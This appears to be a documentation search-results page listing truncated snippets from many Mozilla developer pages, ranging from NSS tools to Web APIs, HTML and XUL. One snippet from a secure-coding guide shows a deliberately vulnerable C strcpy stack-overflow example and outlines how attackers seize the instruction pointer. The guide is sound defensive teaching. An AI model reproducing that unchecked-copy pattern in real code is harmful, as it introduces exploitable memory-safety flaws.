...And 5 more matches
Introduction to NSPR
this chapter introduces key nspr programming concepts and illustrates them with sample code.
... in nspr, a mutual exclusion lock (or mutex) of type prlock controls locking, and associated condition variables of type prcondvar communicate changes in state among threads.
... when a programmer associates a mutex with an arbitrary collection of data, the mutex provides a protective monitor around the data.
...And 5 more matches
NSS tools : ssltab
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
NSS tools : ssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
sslerr.html
ssl error codes sec error codes ssl error codes table 8.1 error codes defined in sslerr.h constant value description ssl_error_export_only_server -12288 "unable to communicate securely.
... ssl_error_us_only_server -12287 "unable to communicate securely.
... ssl_error_no_cypher_overlap -12286 "cannot communicate securely with peer: no common encryption algorithm(s)." the local and remote systems share no cipher suites in common.
...And 5 more matches
NSS tools : ssltap
MozillaProjectsNSStoolsssltap
name ssltap — tap into ssl connections and display the data going by synopsis libssltap [-vhfsxl] [-p port] [hostname:port] description the ssl debugging tool ssltap is an ssl-aware command-line proxy.
...instead of outputting raw data, the command interprets each record as a numbered line of hex values, followed by the same data as ascii characters.
...although you can run the tool at its most basic by issuing the ssltap command with no options other than hostname:port, the information you get in this way is not very useful.
...And 5 more matches
64-bit Compatibility
lir safety it is not immediately clear from reading lir which opcodes should be used for 64-bit safety.
...for example, this code will not load a native integer correctly on a 64-bit machine: struct object { void *data; }; lir->insload(lir_ld, objins, ins->insimm(offsetof(object, data))); lir_ld is 32-bit.
...luckily there is an alias that will choose the right opcode for you - lir_ldp: struct object { void *data; }; lir->insload(lir_ldp, objins, ins->insimm(offsetof(object, data))); when you use lirwriter::insstore, the correct size is chosen for you automatically, based on the size of the input operands.
...And 5 more matches
Secure Development Guidelines
introduction provide developers with information on specific security issues cover common coding mistakes and how they affect a product how to avoid making them how to mitigate them everything is oriented toward c/c++ introduction: gaining control specifics about the underlying architecture, using x86 as an example 6 basic registers (eax, ebx, ecx, edx, edi, esi) 2 stack-related registers (esp, ebp) mark top and bottom of current stack frame status register (eflags) contains various state information instruction pointer (eip) points to register being executed; can’t be modi...
... introduction: gaining control (2) eip is modified using call or jump instructions attacks usually rely on obtaining control over the eip otherwise the attacker can try to control memory pointed to by an existing function pointer a vulnerability is required to modify the eip or sensitive memory saved return addr or function pointer get altered introduction: gaining control (3) common issues used to gain control buffer overflows format string bugs integer overflows/underflows writing secure code: input validation input validation most vulnerabilities are a result of un-validated input always perform input validation could save you without knowing it examples: if it doesn’t have to be negative, store it in an unsigned int if the input does...
... bbv: stack overflow example: void foo(char *bar) { char c[12]; strcpy(c, bar); } int main(int argc, char **argv) { foo(argv[1]); } bbv: stack overflow before the stack overflow bbv: stack overflow after the stack overflow bbv: heap overflow dynamic memory malloc() calloc() heapalloc() mmap() not on the stack segment!
...And 5 more matches
nsIMsgFolder
window,in nsisupportsarray aofflinefolderarray); void emptytrash(in nsimsgwindow amsgwindow, in nsiurllistener alistener); void rename(in astring name, in nsimsgwindow msgwindow); void renamesubfolders( in nsimsgwindow msgwindow, in nsimsgfolder oldfolder); astring generateuniquesubfoldername(in astring prefix,in nsimsgfolder otherfolder); void updatesummarytotals(in boolean force); void summarychanged(); long getnumunread(in boolean deep); long gettotalmessages(in boolean deep); void clearnewmessages(); void clearrequirescleanup(); void setflag(in unsigned long flag); void clearflag(in unsigned long flag); boolean getflag(in unsigned long flag); void toggleflag(in un...
...oid downloadmessagesforoffline(in nsisupportsarray messages, in nsimsgwindow window); nsimsgfolder getchildwithuri(in acstring uri, in boolean deep, in boolean caseinsensitive); void downloadallforoffline(in nsiurllistener listener, in nsimsgwindow window); void enablenotifications(in long notificationtype, in boolean enable, in boolean dbbatching); boolean iscommandenabled(in acstring command); boolean matchorchangefilterdestination(in nsimsgfolder folder,in boolean caseinsensitive); boolean confirmfolderdeletionforfilter(in nsimsgwindow msgwindow); void alertfilterchanged(in nsimsgwindow msgwindow); void throwalertmsg(in string msgname, in nsimsgwindow msgwindow); astring getstringwithfoldernamefrombundle(in s...
...essages(in nsisupportsarray amessages, in acstring ajunkscore); void applyretentionsettings(); boolean fetchmsgpreviewtext([array, size_is (anumkeys)] in nsmsgkey akeystofetch, in unsigned long anumkeys, in boolean alocalonly, in nsiurllistener aurllistener); void addkeywordstomessages(in nsisupportsarray amessages, in acstring akeywords); void removekeywordsfrommessages(in nsisupportsarray amessages, in acstring akeywords); autf8string getmsgtextfromstream(in nsimsgdbhdr amsghdr, in nsiinputstream astream, in long abytestoread, in long amaxoutputlen, in boolean acompressquotes); attributes attribute type description supportsoffline boolean readonly offlinestoreoutputstream nsioutputstream reado...
...And 5 more matches
nsISmsRequestManager
to create an instance, use: var smsrequestmanager = components.classes["@mozilla.org/sms/smsrequestmanager;1"] .createinstance(components.interfaces.nsismsrequestmanager); method overview long addrequest(in nsidommozsmsrequest arequest); long createrequest(in nsidommozsmsmanager amanager, out nsidommozsmsrequest arequest); void notifycreatemessagelist(in long arequestid, in long alistid, in nsidommozsmsmessage amessage); void notifygetsmsfailed(in long arequestid, in long aerror); void notifygotnextmessage(in long arequestid, in nsidommozsmsmessage amessage); void notifygotsms(in long arequestid, ...
...in nsidommozsmsmessage amessage); void notifymarkedmessageread(in long arequestid, in bool aread); void notifymarkmessagereadfailed(in long arequestid, in long aerror); void notifynomessageinlist(in long arequestid); void notifyreadmessagelistfailed(in long arequestid, in long aerror); void notifysmsdeleted(in long arequestid, in bool adeleted); void notifysmsdeletefailed(in long arequestid, in long aerror); void notifysmssendfailed(in long arequestid, in long aerror); void notifysmssent(in long arequestid, in nsidommozsmsmessage amessage); constants all sms related errors that could apply to smsrequest objects.
...long addrequest( in nsidommozsmsrequest arequest ); parameters arequest an smsrequest.
...And 5 more matches
nsIURL
.getservice(components.interfaces.nsiioservice) .newuri("http://developer.mozilla.org", null, null); try { var myurl = myuri.queryinterface(components.interfaces.nsiurl); } catch(e) { // the uri is not an url } or using instanceof: if (myuri instanceof components.interfaces.nsiurl) { // your code here } method overview autf8string getcommonbasespec(in nsiuri auritocompare); autf8string getrelativespec(in nsiuri auritocompare); attributes attribute type description directory autf8string directory portion of a url.
... methods getcommonbasespec() this method takes a uri and compares the two.
... the common uri portion is returned as a string.
...And 5 more matches
Examine and edit HTML - Firefox Developer Tools
element popup context menu you can perform certain common tasks on a specific node using a popup context menu.
...the menu contains the following items — click on the links to find the description of each command in the context menu reference: edit as html create new node duplicate node delete node attributes add attribute copy attribute value edit attribute remove attribute break on ...
... show dom properties open the split console and enter the console command "inspect($0)" to inspect the currently selected element.
...And 5 more matches
Detecting device orientation - Web APIs
sensors that are commonly capable of detecting devicemotionevent include sensors in laptops to protect moving storage devices.
... deviceorientationevent is more commonly found in mobile devices.
... the orientation event contains four values: deviceorientationevent.absolute deviceorientationevent.alpha deviceorientationevent.beta deviceorientationevent.gamma the event handler function can look something like this: function handleorientation(event) { var absolute = event.absolute; var alpha = event.alpha; var beta = event.beta; var gamma = event.gamma; // do stuff with the new orientation data } orientation values explained the value reported for each axis indicates the amount of rotation around a given axis in reference to...
...And 5 more matches
IDBTransaction - Web APIs
this property is null if the transaction is not finished, is finished and successfully committed, or was aborted with theidbtransaction.abort() function.
... idbtransaction.commit() for an active transaction, commits the transaction.
... note that this doesn't normally have to be called — a transaction will automatically commit when all outstanding requests have been satisfied and no new requests have been made.
...And 5 more matches
Transcoding assets for Media Source Extensions - Web APIs
big buck bunny is licensed under the creative commons attribution 3.0 license.
... [0] (c) copyright 2008, blender foundation / www.bigbuckbunny.org / https://peach.blender.org/about/ tools required when working with mse, the following tools are a must have: ffmpeg — a command-line utility for transcoding your media into the required formats.
... bento4 — a set of command-line utilities for getting asset metadata and creating content for dash.
...And 5 more matches
SVGTransformList - Web APIs
form initialize(in svgtransform newitem) svgtransform getitem(in unsigned long index) svgtransform insertitembefore(in svgtransform newitem, in unsigned long index) svgtransform replaceitem(in svgtransform newitem, in unsigned long index) svgtransform removeitem(in unsigned long index) svgtransform appenditem(in svgtransform newitem) svgtransform createsvgtransformfrommatrix(in svgmatrix) svgtransform consolidate() properties readonly unsigned long numberofitems readonly unsigned long length normative document svg 1.1 (2nd edition) properties name type description numberofitems unsigned long the number of items in the list.
...any changes made to the item are immediately reflected in the list.
... createsvgtransformfrommatrix(in svgmatrix) svgtransform creates an svgtransform object which is initialized to transform of type svg_transform_matrix and whose values are the given matrix.
...And 5 more matches
SpeechRecognition - Web APIs
speechrecognition.grammars returns and sets a collection of speechgrammar objects that represent the grammars that will be understood by the current speechrecognition.
... speechrecognition.start() starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current speechrecognition.
... result fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
...And 5 more matches
WebGLRenderingContext.bufferData() - Web APIs
possible values: gl.static_draw: the contents are intended to be specified once by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.dynamic_draw: the contents are intended to be respecified repeatedly by the application, and used many times as the source for webgl drawing and image specification commands.
... gl.stream_draw: the contents are intended to be specified once by the application, and used at most a few times as the source for webgl drawing and image specification commands.
...And 5 more matches
Establishing a connection: The WebRTC perfect negotiation pattern - Web APIs
however, despite that flexibility in transport and communication of signaling messages, there's still a recommended design pattern you should follow when possible, known as perfect negotiation.
... this article introduces webrtc perfect negotiation, describing how it works and why it's the recommended way to negotiate a webrtc connection between peers, and provides sample code to demonstrate the technique.
...negotiation is an inherently asymmetric operation: one side needs to serve as the "caller" while the other peer is the "callee." the perfect negotiation pattern smooths this difference away by separating that difference out into independent negotiation logic, so that your application doesn't need to care which end of the connection it is.
...And 5 more matches
WebRTC API - Web APIs
webrtc (web real-time communication) is a technology which enables web applications and sites to capture and optionally stream audio and/or video media, as well as to exchange arbitrary data between browsers without requiring an intermediary.
... webrtc connectivity a guide to how webrtc connections work and how the various protocols and interfaces can be used together to build powerful communication apps.
... lifetime of a webrtc session webrtc lets you build peer-to-peer communication of arbitrary data, audio, or video—or any combination thereof—into a browser application.
...And 5 more matches
Writing WebSocket servers - Web APIs
a websocket server can be written in any server-side programming language that is capable of berkeley sockets, such as c(++), python, php, or server-side javascript.
... this article assumes you're already familiar with how http works, and that you have a moderate level of programming experience.
...also, common headers like user-agent, referer, cookie, or authentication headers might be there as well.
...And 5 more matches
Using Web Workers - Web APIs
terminating a worker if you need to immediately terminate a running worker from the main thread, you can do so by calling the worker's terminate method: myworker.terminate(); the worker thread is killed immediately.
... spawning a shared worker spawning a new shared worker is pretty much the same as with a dedicated worker, but with a different constructor name (see index.html and index2.html) — each one has to spin up the worker using code like the following: var myworker = new sharedworker('worker.js'); one big difference is that with a shared worker you have to communicate via a port object — an explicit port is opened that the scripts can use to communicate with the worker (this is done implicitly in the case of dedicated workers).
... note: when using the start() method to open the port connection, it needs to be called from both the parent thread and the worker thread if two-way communication is needed.
...And 5 more matches
size - CSS: Cascading Style Sheets
WebCSS@pagesize
<page-size> a5 this matches the standard, iso dimensions: 148mm x 210mm.
... a4 this matches the standard, iso dimensions: 210mm x 297mm.
... (most frequently used dimensions for personal printing.) a3 this matches the standard, iso dimensions: 297mm x 420mm.
...And 5 more matches
HTML5 Parser - Developer guides
WebGuideHTMLHTML5HTML5 Parser
lack of reparsing prior to html5, parsers reparsed the document if they hit the end of the file within certain elements or within comments.
... for example, if the document lacked a </title> closing tag, the parser would reparse to look for the first '<' in the document, or if a comment was not closed, it would look for the first '>'.
... if you forget to close a comment, the page will most likely fail to be parsed.
...And 5 more matches
<a>: The Anchor element - HTML: Hypertext Markup Language
WebHTMLElementa
a comma-separated list of coordinates.
... inaccessible, weak link text a sadly common mistake is to only link the words “click here” or “here”: <p> learn more about our products <a href="/products">here</a>.
... skip links are especially useful for people who navigate with the aid of assistive technology such as switch control, voice command, or mouth sticks/head wands, where the act of moving through repetitive links can be laborious.
...And 5 more matches
<textarea> - HTML: Hypertext Markup Language
WebHTMLElementtextarea
the html <textarea> element represents a multi-line plain-text editing control, useful when you want to allow users to enter a sizeable amount of free-form text, for example a comment on a review or feedback form.
... the <textarea> element also accepts several attributes common to form <input>s, such as autocomplete, autofocus, disabled, placeholder, readonly, and required.
...the value can be: true: indicates that the element needs to have its spelling and grammar checked.
...And 5 more matches
Link types - HTML: Hypertext Markup Language
note: this may be a mailto: hyperlink, but this is not recommended on public pages as robot harvesters will quickly lead to a lot of spam sent to the address.
... this allows for bookmarking a single article in a page containing multiple articles, such as on a monthly summary blog page, or a blog aggregator.
... nofollow indicates that the linked document is not endorsed by the author of this one, for example if it has no control over it, if it is a bad example or if there is commercial relationship between the two (sold link).
...And 5 more matches
Microformats - HTML: Hypertext Markup Language
summary microformats (sometimes abbreviated μf) are standards used to embed semantics & structured data in html, and provide an api to be used by search engines, aggregators, and other tools.
..."p-name", "p-summary" generic plain text parsing, element text in general.
...developer</a> on <time class="dt-published" datetime="2013-06-13 12:00:00">13<sup>th</sup> june 2013</time></p> <p class="p-summary">in which i extoll the virtues of using microformats.</p> <div class="e-content"> <p>blah blah blah</p> </div> </article> properties property description p-name entry name/title p-author who wrote the entry, optionally embedded h-card dt-published when the entry was published p-summary short entry summary e-content...
...And 5 more matches
Cache-Control - HTTP
header type general header forbidden header name no cors-safelisted response header yes syntax caching directives have the following rules to be valid: case-insensitive, but lowercase is recommended.
... multiple directives are comma-separated.
... cache-control: immutable cache-control: stale-while-revalidate=<seconds> cache-control: stale-if-error=<seconds> directives cacheability a response is normally cached by the browser if: it has a status code of 301, 302, 307, 308, or 410 and cache-control does not have no-store, or if proxy, does not have private and authorization is unset either has a status code of 301, 302, 307, 308, or 410 or ...
...And 5 more matches
Protocol upgrade mechanism - HTTP
common uses for this mechanism here we look at the most common use cases for the upgrade header.
... upgrading to a websocket connection by far, the most common use case for upgrading an http connection is to use websockets, which are always implemented by upgrading an http or https connection.
... sec-websocket-extensions: extensions extensions a comma-separated list of extensions to request (or agree to support).
...And 5 more matches
JavaScript data types and data structures - JavaScript
programming languages all have built-in data structures, but these often differ from one language to another.
... primitive values all types except objects define immutable values (that is, values which can't be changed).
... for example (and unlike in c), strings are immutable.
...And 5 more matches
JavaScript modules - JavaScript
node.js has had this ability for a long time, and there are a number of javascript libraries and frameworks that enable module usage (for example, other commonjs and amd-based module systems like requirejs, and more recently webpack and babel).
... full support 46safari ios full support 11.3samsung internet android full support 8.0nodejs full support 13.2.0notes full support 13.2.0notes notes dynamic import can be used in either commonjs or es module files, to import either commonjs or es module files.
... full support 12.0.0notes disabled notes dynamic import can be used in either commonjs or es module files, to import either commonjs or es module files.
...And 5 more matches
Promise - JavaScript
this lets asynchronous methods return values like synchronous methods: instead of immediately returning the final value, the asynchronous method returns a promise to supply the value at some point in the future.
...sometimes there is no choice, because an error must be handled immediately.
... (see throw -999 in the example, below, for a technique to handle the consequences.) on the other hand, in the absence of an immediate need, it is simpler to leave out error handling until a final .catch() statement.
...And 5 more matches
Media container formats (file types) - Web media technologies
in this guide, we'll look at the container formats used most commonly on the web, covering basics about their specifications as well as their benefits, limitations, and ideal use cases.
...see codecs used by webrtc for information about codecs commonly used for making webrtc calls, as well as browser compatibility information around codec support in webrtc.
... common container formats while there are a vast number of media container formats, the ones listed below are the ones you are most likely to encounter.
...And 5 more matches
Tutorials
these resources are created by forward-thinking companies and web developers who have embraced open standards and best practices for web development and that provide or allow translations, through an open content license such as creative commons.
... creating a simple web page with html an html guide for beginners that includes explanations of common tags, including html5 tags.
...this module covers basic table markup, along with more complex features such as implementing captions and summaries.
...And 5 more matches
2015 MDN Fellowship Program - Archive of obsolete content
who web and mobile developers with an established track record of contributions and expertise in a specific web technology, function or domain who wish to increase the effectiveness of their teaching and communications.
... what seven weeks of partnering closely with mozilla to (1) build curriculum, code, or likely both; and (2) receive coaching, training and best practices for effectively communicating and educating with technical information.
... github: brittanystoroz twitter: @brittanystoroz webgl brief project description webgl is the latest incarnation of the opengl family of real time rendering immediate mode graphics apis.
...And 4 more matches
dev/panel - Archive of obsolete content
mypanel = class({ extends: panel, label: "my panel", tooltip: "my new devtool's panel", icon: "./my-icon.png", url: "./my-panel.html", // when the panel is created, // take a reference to the debuggee setup: function(options) { this.debuggee = options.debuggee; }, dispose: function() { this.debuggee = null; }, onready: function() { // in this function you can communicate // with the panel document } }); // export the constructor exports.mypanel = mypanel; // create a new tool, initialized // with the new constructor const mytool = new tool({ panels: { mypanel: mypanel } }); panel document environment the panel document loaded from the url property can of course include css and javascript just like a normal web page: <html> <head> <meta c...
...however, it can receive messages from the add-on that created it, and the add-on can pass it the debuggee so it can communicate with the debugger server the developer tools are targeting.
... communicating with the panel document the main add-on code can't directly access the panel document or any scripts loaded by the panel document.
...And 4 more matches
jpm-mobile - Archive of obsolete content
jpm usage is: jpm-mobile [command] [options] jpm supports the following global options: -h, --help - show a help message and exit -v, --version - print the jpm version number installation jpm-mobile is distributed using the node package manager npm, so to get jpm-mobile you need to have npm installed, if you haven't already.
... after that you can install jpm just as you would any other npm package: npm install jpm-mobile -g depending on your setup, you might need to run this as an administrator: sudo npm install jpm-mobile -g at the command prompt, type: jpm-mobile you should see a screen summarizing the available jpm-mobile commands.
... note that unlike cfx, jpm-mobile is available in every command prompt you start, as long as you installed it with the -g flag.
...And 4 more matches
Developing for Firefox Mobile - Archive of obsolete content
we'll use the android debug bridge (adb) to communicate between the add-on sdk and the device.
... now open up a command shell.
...then execute jpm-mobile run with some extra options: jpm-mobile run --adb /path/to/adb in the command shell, you should see something like: launching mobile application with intent name org.mozilla.fennec pushing the addon to your device starting: intent { act=android.activity.main cmp=org.mozilla.fennec/.app (has extras) } --------- beginning of /dev/log/main --------- beginning of /dev/log/system could not read chrome manifest 'file:///data/data/org.mozilla.fennec/chrome.manifest'.
...And 4 more matches
Using third-party modules (jpm) - Archive of obsolete content
the add-on sdk includes a command-line tool that you use to initialize, run, test, and package add-ons.
... to follow this tutorial you'll need to have installed jpm and learned the basic jpm commands.
... to install menuitem you'll need to have git command.
...And 4 more matches
Adding Toolbars and Toolbar Buttons - Archive of obsolete content
<overlay id="xulschoolhello-browser-overlay" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <toolbarpalette id="browsertoolbarpalette"> <toolbarbutton id="xulschoolhello-hello-world-button" class="toolbarbutton-1 chromeclass-toolbar-additional" label="&xulschoolhello.helloworld.label;" tooltiptext="&xulschoolhello.helloworld.tooltip;" oncommand="xulschoolchrome.browseroverlay.dosomething(event);" /> <!-- more buttons here.
...it's a comma-separated list of ids, and it can also include other special values: spacer, separator and spring.
...having multiple copies of these files can be wasteful, so you may want to have a "common" directory.
...And 4 more matches
Adding menus and submenus - Archive of obsolete content
« previousnext » the hello world example in the previous sections shows the two most common ways to add menus.
... the toolbox should be positioned near the top of the xul document, and the code should be similar to this: <toolbox> <menubar id="xulschoolhello-menubar"> <menu id="xulschoolhello-greeting-menu" label="&xulschoolhello.greeting.label;"> <menupopup> <menuitem label="&xulschoolhello.greet.short.label;" oncommand="xulschoolchrome.greetingdialog.greetingshort(event);" /> <menuitem label="&xulschoolhello.greet.medium.label;" oncommand="xulschoolchrome.greetingdialog.greetingmedium(event);" /> <menuitem label="&xulschoolhello.greet.long.label;" oncommand="xulschoolchrome.greetingdialog.greetinglong(event);" /> <menuseparator /> <menuitem label="&xulschoo...
...lhello.greet.custom.label;" oncommand="xulschoolchrome.greetingdialog.greetingcustom(event);" /> </menupopup> </menu> </menubar> </toolbox> this code displays a simple menu with options for 3 different types of greetings, a menuseparator, and finally an option to show a custom greeting.
...And 4 more matches
Adding windows and dialogs - Archive of obsolete content
window.open( "chrome://xulschoolhello/content/somewindow.xul", "xulschoolhello-some-window", "chrome,centerscreen"); the first argument is the url to open, the second is an id to identify the window, and the last is an optional comma-separated list of features, which describe the behavior and appearance of the window.
...it allows you to send a set of optional parameters that can be used to communicate with the dialog.
... common dialogs and the prompt service there are several types of dialogs that are fairly common, so there are ways to create them easily without having to reinvent the wheel and write all their xul and js code all over again.
...And 4 more matches
Intercepting Page Loads - Archive of obsolete content
we will start with the simplest one, which is also the most common to use.
...read the recommendations in appendix a regarding performance if you're planning on implementing any of these.
...few modern sites use framesets, but it is common for ads to appear inside iframe elements.
...And 4 more matches
Introduction - Archive of obsolete content
we have poured years of xul experience into it, providing many solutions for problems extension developers commonly run into.
...you'll learn how to quickly do the most common tasks in extension development, comparing several different approaches to solve them.
...this will help you understand the culture that surrounds the mozilla community.
...And 4 more matches
The Box Model - Archive of obsolete content
we recommend you play around with it for a while to get an idea of how the basic parts of the box model work.
...the css property may be useful on some occasions, but using the orient attribute is not recommended because it mixes content and presentation.
...the latter are recommended to keep style code in the skin section of the chrome.
...And 4 more matches
User Notifications and Alerts - Archive of obsolete content
they interrupt the user's workflow, demanding immediate action before anything else can be done.
... this kind on notification is very easy to implement, it doesn't interrupt the user and is easy to read and dismiss, so it is our recommended way of displaying alerts and notifications.
...also, clicking on any of your custom buttons will cause the notification to be immediately closed, so you should only use notification boxes for single-step processes.
...And 4 more matches
Signing an XPI - Archive of obsolete content
you can either set this permanently via control panel->system properties->advanced->environment variables->system variables or do it each time you run the tools from the command-line (preferably using a batch file).
... c:\> set path=c:\apps\nss-3.11.4\bin\;c:\apps\nss-3.11.4\lib\;c:\apps\nspr-4.6\lib\;%path% an easier way is to copy everything from your new directories c:\apps\nss-3.11.4\ and c:\apps\nspr-4.6\ including sub directories to the same directory - fx c:\apps\codesigning\ - and then run every command from that.
...use this command to create it (note the trailing dot is required).
...And 4 more matches
Tabbed browser - Archive of obsolete content
the comments normally mark where you should be inserting your own code.
...within the firefox browser are tabs and inside each tab is a browser, both in the common sense of a web page browser and the xul sense of a browser element.
... getting access to the browser from main window code running in firefox's global chromewindow, common for extensions that overlay into browser.xul, can access the tabbrowser element using the global variable gbrowser.
...And 4 more matches
Running Tamarin acceptance tests - Archive of obsolete content
reason: inconsistencies in different debug output, need to implement regex matching of diffs 2527 running abcasm/branchtocommon.abs 2530 running abcasm/arithmetic.abs 2529 running abcasm/bkpt.abs 2528 running abcasm/bkptline.abs 2526 running abcasm/bug_476556.abs 2524 running abcasm/bug_491056.abs ...
... can also be using in conjunction with --threads -f --forcerebuild force rebuild all test files -q --quiet : will print a period (.) for each test run regardless of results, then print the test run summary when finished --ascargs= : additional arguments to pass to asc.jar --vmargs= : additional arguments to pass to avmshell --random : run tests in random order --timeout : max time for testrun --verify : run a verify pass instead of running abcs --verifyonly : run a -dverifyonly pass: only checks test exitcode (only works with debugger vms) testing the android shell the instructions above apply...
...the /android-public/android-vars.sh script has commented-out examples of the environment settings for running tests on the android avm shell.
...And 4 more matches
Introduction to XUL - Archive of obsolete content
terms "xpfe" is the term mozilla-the-organization is using to describe mozilla-the-browser's cross platform front end, because x and c look similar if you beat them long and hard with a hammer.
... applications, for instance, will have preconceived notions of what to do when they receive an "open file" command.
...it will send its command to the application for processing, generally using some simple javascript for linkage.
...And 4 more matches
OpenClose - Archive of obsolete content
here is a complete example which uses a button to open a menu: <button label="open menu" oncommand="document.getelementbyid('editmenu').open = true;"/> <menu id="editmenu" label="edit"> <menupopup> <menuitem label="cut"/> <menuitem label="copy"/> <menuitem label="paste"/> </menupopup> </menu> this technique may be used for both menupopups that use the menu tag, the button tag and the toolbarbutton tag.
... as with other ways of opening a menu, the popupshowing event will be fired to provide an opportunity to customize the commands that appear on the menu.
...when an menu item is selected, it fires a command event so that code may be used to perform an action.
...And 4 more matches
Popup Guide - Archive of obsolete content
menus a menu is used when you wish to have a series of commands that can be activated by the user, but don't want to use the extra space for a button for each command.
... a menu is normally hidden, and when activated, a popup appears containing the list of commands.
... the user may select a command and the menu disappears again.
...And 4 more matches
SeaMonkey - making custom toolbar (SM ver. 1.x) - Archive of obsolete content
ition="15"/> </hbox> <!-- composer --> <toolbar id="edittoolbar"> <toolbarbutton id="custom-button-1" position="18"/> </toolbar> <!-- chat --> <menubar id="mainmenu"> <menu id="custom-menu" position="4" label="custom" accesskey="c"> <menupopup> <menuitem id="custom-item-1" label="custom item 1" accesskey="1" tooltiptext="my custom menu item" oncommand="custombutton[1]()" /> </menupopup> </menu> </menubar> <!-- calendar --> <toolbar id="calendar-bar"> <toolbarbutton id="custom-button-1" position="10"/> </toolbar> <!-- button details --> <toolbarbutton id="custom-button-1" label="custom" tooltiptext="my custom toolbar button" oncommand="custombutton[1]()" class="toolbarbutton-1 custombutton" /> </overlay> ...
...paste it into the new file: #custom-button-1 {list-style-image: url("chrome://custombutton/content/button-1s.png");} /* common style for all custom buttons - modern */ #nav-bar .custombutton {-moz-image-region: rect( 0px 41px 39px 0px);} #nav-bar .custombutton:hover {-moz-image-region: rect( 0px 83px 39px 42px);} #nav-bar .custombutton:active {-moz-image-region: rect( 0px 125px 39px 84px);} .custombutton {-moz-image-region: rect(39px 49px 72px 0px);} .custombutton:hover {-moz-image-region: rect(39px 98...
...px 72px 49px);} .custombutton:active {-moz-image-region: rect(39px 147px 72px 98px);} /* common style for all custom buttons - classic */ .custombutton {-moz-image-region: rect( 0px 145px 20px 126px);} .custombutton:hover {-moz-image-region: rect( 0px 164px 20px 145px);} .custombutton:active {-moz-image-region: rect( 0px 183px 20px 164px);} remove one of the common style sections, leaving the section for the theme that you use in seamonkey.
...And 4 more matches
Box Objects - Archive of obsolete content
example 1 : source view <button label="click me" oncommand="alert('the width is ' + this.boxobject.width);"/> you can use the width and height attributes of the element to specify the element's width and height, respectively.
...example 2 : source view <script> function showpositionandsize() { var labelbox = document.getelementbyid('thelabel').boxobject; alert("position is (" + labelbox.x + "," + labelbox.y + ") and size is (" + labelbox.width + "," + labelbox.height + ")"); } </script> <button label="hide" oncommand="document.getelementbyid('thelabel').hidden = true;"/> <button label="show" oncommand="document.getelementbyid('thelabel').hidden = false;"/> <button label="collapse" oncommand="document.getelementbyid('thelabel').collapsed = true;"/> <button label="uncollapse" oncommand="document.getelementbyid('thelabel').collapsed = false;"/> <button label="show position/size" ...
... oncommand="showpositionandsize();"/> <label id="thelabel" value="i am a label"/> note that if you hide and collapse the label, it will be treated as hidden.
...And 4 more matches
Manipulating Lists - Archive of obsolete content
although listboxes may be manipulated using the standard dom functions as well, it is recommended that the specialized listbox functions be used instead when possible.
...here is an example: example 1 : source view <script> function additem(){ document.getelementbyid('thelist').appenditem("thursday", "thu"); } </script> <listbox id="thelist"/> <button label="add" oncommand="additem();"/> the appenditem() takes two arguments, the label, in this case 'thursday', and a value 'thu'.
... getting the selected item these two properties are commonly inspected during a select event, as in the following example: example 2 : source view <listbox id="thelist" onselect="alert(this.selecteditem.label);"> <listitem label="short"/> <listitem label="medium"/> <listitem label="tall"/> </listbox> the select event is fired for a listbox when an item in the list is selected.
...And 4 more matches
Simple Menu Bars - Archive of obsolete content
this box contains the list of menu commands.
... menuitem an individual command on a menu.
...the size of the popup will be large enough to fit the commands inside it.
...And 4 more matches
XUL Event Propagation - Archive of obsolete content
the availability of event listeners is also somewhat pre-determined, though xul provide generalized event listeners (i.e., oncommand event listeners) for most of the elements in the widget hierarchy.
... the widget hierarchy consider the following xul file: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="events" xmlns:html="http://www.w3.org/1999/xhtml" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul" oncommand="alert('window handler')"> <vbox> <vbox style="background-color: lightgrey;" oncommand="alert('box handler')"> <menu class="menu" label="file" oncommand="alert('menu handler')"> <menupopup> <menuitem oncommand="alert('new item alert')" label="new" /> <menuitem label="open" /> <menuitem oncommand="alert('close handler')" label="close" /> </menupopup> </menu...
...> <menu class="menu" label="edit"> <menupopup> <menuitem oncommand="alert('edit source handler')" label="edit source" /> <menuitem label="reload" /> <menuitem label="view source" /> </menupopup> </menu> </vbox> <spring flex="1" /> </vbox> </window> in this file, the lowest-down, or "leaf" elements are the menuitems.
...And 4 more matches
menuitem - Archive of obsolete content
attributes acceltext, accesskey, allowevents, autocheck, checked, closemenu, command, crop, description, disabled, image, key, label, name, selected, tabindex, type, validate, value properties accessibletype, accesskey, command, control, crop, disabled, image, label, labelelement, parentcontainer, selected, tabindex, value style classes menuitem-iconic, menuitem-non-iconic examples <menulist> <menupopup> <menuitem label="option 1" value="1"/> <menuitem label="option 2" value="2"/> <menuitem label="option 3" value=...
..."3"/> <menuitem label="option 4" value="4"/> </menupopup> </menulist> attributes acceltext type: string text that appears beside the menu label to indicate the shortcut key (accelerator key) to use to invoke the command.
...a workaround is to set the autocheck attribute to false, then programmatically set the checked attribute when the user selects the item, and set it to false instead of removing the attribute (i.e.
...And 4 more matches
Archived open Web documentation - Archive of obsolete content
this article reviews several approaches to browser detection, their usefulness in specific circumstances to arrive at a common sense approach to browser detection.
... e4x ecmascript for xml (e4x) is a programming language extension that adds native xml support to javascript.
... it does this by providing access to the xml document in a form that feels natural for ecmascript programmers.
...And 4 more matches
Gecko FAQ - Gecko Redirect 1
gecko enables a pioneering new class of dynamic content that is more interactive and offers greater presentation control to web developers, using open and recommended internet standards instead of proprietary apis.
